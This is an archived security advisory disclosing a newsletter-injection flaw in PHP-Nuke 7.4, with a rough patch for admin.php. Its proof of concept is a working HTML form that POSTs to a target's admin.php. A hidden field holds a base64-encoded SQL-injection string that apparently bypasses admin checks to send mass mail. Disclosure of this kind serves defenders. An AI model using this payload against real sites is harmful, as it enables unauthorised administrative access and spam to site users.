<<< Date Index >>>     <<< Thread Index >>>

[XSS] PHP-Nuke 7.4 Newsletter Injection Bug




**************************************************************
*                       CODEBUG Labs
* Advisory #5
* Title: Newsletter Injection Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

                  Newsletter Injection Bug
 
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post message in system newsletter.
We can bypass the official php-nuke patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" 
action="http://www.sitewithphpnuke.com/admin.php";>
  <p>TITLE: 
    <input type="text" name="title">
    <br>
    CONTENT: 
    <textarea name="content" rows=10 cols=50></textarea>
    <br>
        <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="massmail_send">
  </p>
  <p>
    <input type="submit" name="Submit" value="Send to target site newsletter">
    <br>
  </p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
        die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
        die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

**************************************************************
                http://www.mantralab.org
**************************************************************